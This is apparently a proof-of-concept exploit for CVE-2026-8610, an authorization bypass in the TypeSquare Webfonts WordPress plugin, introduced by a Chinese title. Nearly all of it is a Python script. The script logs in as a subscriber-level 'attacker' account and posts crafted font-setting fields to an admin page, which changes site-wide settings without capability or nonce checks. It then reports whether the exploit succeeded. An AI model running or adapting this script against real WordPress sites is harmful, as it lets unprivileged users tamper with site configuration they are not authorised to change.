CVE-2026-8610 TypeSquare Webfonts插件授权绕过漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/index.php" # Any admin page works login_url = "http://example.com/wp-login.php" # Attacker credentials (Subscriber level) username = "attacker" password = "password" # Create a session to handle cookies session = requests.Session() # 1. Authenticate to get the necessary cookies (wp_logged_in_*, etc.) login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } session.post(login_url, data=login_data) # 2. Prepare the payload to modify font settings # Exploiting the authorization bypass to change site-wide settings payload_data = { 'typesquare_fonttheme': 'malicious_font_theme', # Arbitrary modification 'show_post_form': '1', # Modify display settings 'fontThemeUseType': '1' # Triggering the non-verified path } # 3. Send the POST request # The plugin does not check capabilities or nonces for this specific action/value response = session.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Exploit successful! Settings modified.") else: print("[-] Exploit failed.")